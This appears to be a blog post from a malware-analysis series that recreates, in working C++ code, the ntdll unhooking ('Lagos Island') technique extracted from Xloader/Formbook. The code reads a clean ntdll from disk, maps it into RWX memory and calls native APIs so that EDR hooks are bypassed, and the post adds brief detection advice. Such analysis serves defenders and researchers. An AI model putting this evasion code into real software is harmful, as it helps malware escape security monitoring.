MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

Xloader4.3 AKA Formbook: Ntdll Unhooking

Lagos Island Ntdll Unhooking Recreation

Lagos Island ntdll unhooking


Introduction

This TTP has been extracted from Xloader4.3 malware. It reads Windows’ ntdll.dll module from disk into memory, and calls its exported functions directly, rendering user-mode hooking and API monitoring mechanisms ineffective. The FireEye calls this technique “Lagos Island method” (allegedly originating from a userland rootkit with this name).

The procedure is performed in 3 steps:

  1. Reading RAW ntdll from disk into memory
  2. Allocating virtual memory and manually mapping ntdll headers/sections
  3. Dynamically loading function addresses from clean unhooked dll

Implementation

Definitions for Undocumneted APIs

Xloader4.3 AKA Formbook uses undocumented ntdll APIs for its malicious activities therefore to recreate such a sophisticated piece of malware. We need to implement those APIs. For using ntdll APIs, we need to define each API and its necessary structures. There is an excellent resource called NTAPI Undocumented Functions, which helped me in defining those APIs. I have included a seperate header file these definitions in my project:

#ifndef DEFINITIONS_H
#define DEFINITIONS_H

#include <Windows.h>

// Structures for ntdll APIs
typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length; HANDLE RootDirectory;
	PUNICODE_STRING ObjectName; ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

// ......
// ......
// ......

using myNtCreateFile = NTSTATUS(NTAPI*)(
	OUT PHANDLE FileHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PLARGE_INTEGER AllocationSize OPTIONAL,
	IN ULONG FileAttributes, IN ULONG ShareAccess,
	IN ULONG CreateDisposition,
	IN ULONG CreateOptions,
	IN PVOID EaBuffer,
	IN ULONG EaLength);

// .....
// .....
// .....

#endif // DEFINITIONS_H

Step 1: Read RAW ntdll in memory

Xloader4.3 AKA Formbook malware uses NtReadFile API to read the contents of ntdll as RAW bytes into the memory. For this i need a module handle to ntdll and the path of file to read (which is obviously ntdll). For x86 version, the ntdll must be from the SysWOW64 directory but for x64 version, the ntdll must be from System32 directory.

To read raw ntdll in memory, we need 3 steps:

HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
WCHAR wcFilepath[] = L"\\??\\C:\\Windows\\System32\\ntdll.dll";

// Load NtCreateFile function dynamically
if (hNtDll != nullptr) {
    myNtCreateFile fNtCreateFile = (myNtCreateFile)(GetProcAddress(hNtDll, "NtCreateFile"));
    myNtQueryInformationFile fNtQueryInformationFile = (myNtQueryInformationFile)GetProcAddress(hNtDll, "NtQueryInformationFile");
    myNtReadFile fNtReadFile = (myNtReadFile)GetProcAddress(hNtDll, "NtReadFile");
    HANDLE fileHandle;
    NTSTATUS stat;

    if (!fNtCreateFile || !fNtQueryInformationFile || !fNtReadFile) {
      std::cerr << "Failed to get address of Native calls" << std::endl;
      return -1;
    }

    OBJECT_ATTRIBUTES objectAttributes;
    IO_STATUS_BLOCK ioStatusBlock;
    UNICODE_STRING fileName;

    // Initialize objectAttributes and objectName here...
    RtlInitUnicodeString(&fileName, wcFilepath); //path to RAW dll
    InitializeObjectAttributes(&objectAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    // using NtCreateFile for getting the handle of dll
    stat = fNtCreateFile(&fileHandle, FILE_GENERIC_READ, &objectAttributes, &ioStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN,
    FILE_RANDOM_ACCESS | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
    if (!NT_SUCCESS(stat)){
        std::cerr << "Failed to get handle of library" << std::endl;
        return -1;
    }

    // using NtQueryInformationFile to get the size of RAW library
    FILE_STANDARD_INFORMATION fileInfo;
    IO_STATUS_BLOCK ioStatus;
    stat = fNtQueryInformationFile(fileHandle, &ioStatus, &fileInfo,
            sizeof(fileInfo), FileStandardInformation);
    if (!NT_SUCCESS(stat)) {
        std::cerr << "Failed to get library size" << stat << std::endl;
        return -1;
    }

    SIZE_T file_size = fileInfo.EndOfFile.QuadPart;
    std::wcout << "File Path: " << wcFilepath << std::endl;
    std::cout << "File size: " << file_size << " bytes" << std::endl;

    // Allocate buffer using RtlAllocateHeap
    PVOID pBuffer = RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, file_size);
    //PVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, file_size);
    if (pBuffer == NULL) {
        std::cerr << "Failed to allocate buffer" << stat << std::endl;
        return -1;
    }

    // Read RAW binary bytes into the memory
    PLARGE_INTEGER ByteOffset = nullptr;
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    stat = fNtReadFile(
        fileHandle,
        nullptr,
        nullptr,
        nullptr,
        &IoStatusBlock,
        pBuffer,
        file_size,
        ByteOffset,
        nullptr // Key
    );

    if (!NT_SUCCESS(stat)) {
        std::cerr << "Failed to Read RAW bytes" << stat << std::endl;
        return -1;
    }

    std::cout << "RAW bytes read in memory at: " << pBuffer << std::endl;
        return 0;
}
else {
    // Handle error
    std::cerr << "Failed to get ntdll handle" << stat << std::endl;
    return -1;
}

Step 2: Manually Map Ntdll in memory

We have to manually map the RAW bytes into the memory to be able to use it for executing functions. In the following function, i am using NtAllocateVirtualMemory to allocate an RWX memory region for mapping ntdll RAW bytes. The sections and headers are then enumerated and copied into the RWX memory region.

// Function to manually map a DLL into memory
PVOID MapDLLFromBuffer(LPVOID pBuffer, HMODULE hNtDll)
{
    std::cout << "[x] Mapping library from  RAW buffer " << std::endl; 

    if (hNtDll != nullptr) {
        // Importing NtAllocateVirtualMemory
        myNtAllocateVirtualMemory fNtAllocateVirtualMemory = (myNtAllocateVirtualMemory)(GetProcAddress(hNtDll, "NtAllocateVirtualMemory"));
        if (!fNtAllocateVirtualMemory) {
            std::cerr << "Failed to get address of Native calls" << std::endl;
            return NULL;
        }

        // Check for MZ and PE headers
        // pBuffer is assumed to be pointing to the start of the DLL in memory
        IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pBuffer;
        if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { // Check for 'MZ'
            return NULL;
        }

        IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS*)((BYTE*)pBuffer + pDosHeader->e_lfanew);
        if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { // Check for 'PE\0\0'
            return NULL;
        }

        // Allocate a buffer for the dll
        std::cout << "[x] Allocating RWX buffer" << std::endl;
        SIZE_T sizeOfImage = pNtHeaders->OptionalHeader.SizeOfImage;
        PVOID newBuffer = NULL;
        NTSTATUS status = fNtAllocateVirtualMemory(
            GetCurrentProcess(), //can also use NtCurrentProcess() as used by xloader
            &newBuffer,
            0,
            &sizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (!NT_SUCCESS(status)) {
            std::cerr << "Failed to allocate virtual memory" << std::endl;
            return NULL;
        }

        std::cout << "[x] Copying headers/sections into allocated buffer" << std::endl;
        // Copy PE headers
        SIZE_T sizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders;
        memcpy(newBuffer, pBuffer, sizeOfHeaders);

        // Read the number of sections
        WORD numberOfSections = pNtHeaders->FileHeader.NumberOfSections;

        // Process each section and copy to new allocated RWX buffer
        IMAGE_SECTION_HEADER* pSectionHeaders = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
        for (int i = 0; i < numberOfSections; i++) {
            IMAGE_SECTION_HEADER* pSection = &pSectionHeaders[i];
            PVOID sectionDestination = (PVOID)((BYTE*)newBuffer + pSection->VirtualAddress);
            PVOID sectionSource = (PVOID)((BYTE*)pBuffer + pSection->PointerToRawData);
            SIZE_T sectionSize = pSection->SizeOfRawData;

            memcpy(sectionDestination, sectionSource, sectionSize);
        }
        
        std::cout << "[x] Library Mapped Successfully" << std::endl;
        return newBuffer;
    }
    else
    {
        return NULL;
    }   
}

Step 3: Use Unhooked ntdll APIs

Now that ntdll is manually mapped into the memory. We can use it to import any ntdll API we want. To use the ntdll APIs we also need to define the APIs first. In my implementation, since i already have the definition of NtCreateFile available, so i loaded unhooked function from the manually mapped ntdll version and executed it. It will be executed as a Syscall since we are bypassing user-mode and going directly to the kernel using fresh copy of ntdll.

FARPROC LoadFunctionAddresses(PVOID newBuffer, const char* API)
{
    // Access the export table
    // Assuming newBuffer is the base address where the DLL is loaded
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)newBuffer;
    IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS*)((BYTE*)newBuffer + pDosHeader->e_lfanew);

    // Check if it's a valid PE file
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return NULL;
    }

    // Get the Export Directory
    IMAGE_DATA_DIRECTORY exportDir = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDir.VirtualAddress == 0) {
        return NULL;
    }

    IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)newBuffer + exportDir.VirtualAddress);

    // Find the Required Function in the Export Table
    DWORD* namePtr = (DWORD*)((BYTE*)newBuffer + pExportDir->AddressOfNames);
    WORD* ordinalPtr = (WORD*)((BYTE*)newBuffer + pExportDir->AddressOfNameOrdinals);
    DWORD* funcPtr = (DWORD*)((BYTE*)newBuffer + pExportDir->AddressOfFunctions);

    FARPROC pApiAddress = NULL;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        char* functionName = (char*)newBuffer + namePtr[i];
        if (strcmp(functionName, API) == 0) {
            DWORD functionRVA = funcPtr[ordinalPtr[i]];
            pApiAddress = (FARPROC)((BYTE*)newBuffer + functionRVA);
            break;
        }
    }
    return pApiAddress;
}

This method of unhooking ntdll can be detected by monitoring the initial ntdll APIs used to read RAW ntdll in memory. Monitor the following APIs to detect this behaviour:

  1. NtCreateFile
  2. NtQueryInformationFile
  3. NtReadFile

In my analysis of Xloader4.3 AKA Formabook, i have been able to detect this behaviour based on the process events that are generated by the malware while reading ntdll in memory using procmon (although anti-analysis techniques prevent malware execution in the presence of such tools. But there is a way to bypass everything ;) )

An advanced version of this technique could be to duplicate ntdll and manually map in memory without reading it from the disk (idea for next PoC)

Revere Engineering

Lagos Island Ntdll Unhooking

In the above screenshot, I have explained how APIs called by Lagos Island method are not recognized by either debugger or other API monitor tools. It manually finds the API addresses from the RWX buffer and execute those Native APIs with direct syscalls.


Debugging

Debugging GIF

While debugging, you can see that and RWX memory region is created in the process space of executing binary. It is actually manual mapped ntdll loaded from the disk. In the code, the last API syscall is for NtCreateFile. It uses this API for creating an empty file in Public folder with the name “LagosIsland.txt”.

Known Error

If you received an error for unresolved external for RtlAllocateHeap, just include ntdll.lib in the project or in the code use the function HeapAlloc instead of RtlAllocateHeap to avoid the following error.

Error

Solution

Solution

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

Artifacts and code of this repository are intended for educational purposes only !!!